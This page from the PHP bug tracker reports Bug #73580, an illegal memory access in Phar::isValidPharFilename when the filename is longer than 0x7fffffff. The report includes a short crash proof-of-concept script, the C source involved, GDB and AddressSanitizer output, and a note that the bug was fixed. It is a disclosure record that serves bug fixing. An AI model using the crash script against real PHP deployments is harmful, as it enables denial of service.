php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73580 Phar::isValidPharFilename illegal memory access
Submitted: 2016-11-22 15:11 UTC Modified: 2020-12-14 17:41 UTC
From: fernando at null-life dot com Assigned: cmb (profile)
Status: Closed Package: PHAR related
PHP Version: 7.0.13 OS: Linux
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-11-22 15:11 UTC] fernando at null-life dot com
Description:
------------
A big phar file name causes multiples illegal memory access, in memchr funcion, when filename length is bigger than 0x7fffffff inside the isValidPharFilename  method.

Source code:
https://github.com/php/php-src/blob/master/ext/phar/phar.c#L1887

int phar_detect_phar_fname_ext(const char *filename, int filename_len, const char **ext_str, int *ext_len, int executable, int for_create, int is_complete) /* {{{ */
{
        const char *pos, *slash;

        *ext_str = NULL;
        *ext_len = 0;

        if (!filename_len || filename_len == 1) {
                return FAILURE;
        }

        phar_request_initialize();
        /* first check for alias in first segment */
        pos = memchr(filename, '/', filename_len);              // Illegal access
...
        pos = memchr(filename + 1, '.', filename_len);          // Illegal access
next_extension:
        if (!pos) {
                return FAILURE;
        }

        while (pos != filename && (*(pos - 1) == '/' || *(pos - 1) == '\0')) {
                pos = memchr(pos + 1, '.', filename_len - (pos - filename) + 1); // Illegal access
                if (!pos) {
                        return FAILURE;
                }
        }

        slash = memchr(pos, '/', filename_len - (pos - filename));



GDB output:

USE_ZEND_ALLOC=1 gdb -q --args /home/operac/build5/bin/php -n poc.php
Reading symbols from /home/operac/build5/bin/php...done.
(gdb) b phar_detect_phar_fname_ext
Breakpoint 1 at 0x937018: file /home/operac/build5/php-src/ext/phar/phar.c, line 1898.
(gdb) r
Starting program: /home/operac/build5/bin/php -n poc.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, phar_detect_phar_fname_ext (filename=0x7ffeeec00018 '/' <repeats 200 times>..., filename_len=-1, ext_str=0x7fffffffa450, ext_len=0x7fffffffa3d0, executable=1, for_create=2, is_complete=1) // Type confusion en filename_len
    at /home/operac/build5/php-src/ext/phar/phar.c:1898
1898    {
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
memchr () at ../sysdeps/x86_64/memchr.S:154
154     ../sysdeps/x86_64/memchr.S: No such file or directory.
(gdb)







Test script:
---------------
<?php

ini_set('memory_limit', -1);

$v1=str_repeat('/', 0xffffffff);
Phar::isValidPharFilename($v1);

Expected result:
----------------
No crash / false

Actual result:
--------------
/home/operac/build5/bin/php -n poc.php

ASAN:SIGSEGV
=================================================================
==12708==ERROR: AddressSanitizer: SEGV on unknown address 0x7f747a401000 (pc 0x7f7480177e4a bp 0x7fffda7a0f90 sp 0x7fffda7a0718 T0)
    #0 0x7f7480177e49 in memchr (/lib/x86_64-linux-gnu/libc.so.6+0x8de49)
    #1 0x7f748266386b  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x3e86b)
    #2 0x937ca0 in phar_detect_phar_fname_ext /home/operac/build5/php-src/ext/phar/phar.c:2004
    #3 0x94a78d in zim_Phar_isValidPharFilename /home/operac/build5/php-src/ext/phar/phar_object.c:1070
    #4 0xf29b1b in ZEND_DO_FCALL_SPEC_HANDLER /home/operac/build5/php-src/Zend/zend_vm_execute.h:842
    #5 0xf26872 in execute_ex /home/operac/build5/php-src/Zend/zend_vm_execute.h:414
    #6 0xf26aed in zend_execute /home/operac/build5/php-src/Zend/zend_vm_execute.h:458
    #7 0xe49c66 in zend_execute_scripts /home/operac/build5/php-src/Zend/zend.c:1427
    #8 0xd0b9d8 in php_execute_script /home/operac/build5/php-src/main/main.c:2494
    #9 0x1058a1c in do_cli /home/operac/build5/php-src/sapi/cli/php_cli.c:974
    #10 0x105a82c in main /home/operac/build5/php-src/sapi/cli/php_cli.c:1344
    #11 0x7f748010a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #12 0x430a88 in _start (/home/operac/build5/bin/php+0x430a88)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 memchr
==12708==ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-26 02:59 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-12-03 18:03 UTC] fernando at null-life dot com
This seems to have been fixed by this commit, right?

https://github.com/php/php-src/commit/fe994fd9a471fbaa3fef39567942e8de6ae1aba7
 [2020-12-14 17:41 UTC] cmb@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: cmb
 [2020-12-14 17:41 UTC] cmb@php.net
> This seems to have been fixed by this commit, right?

Indeed!
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC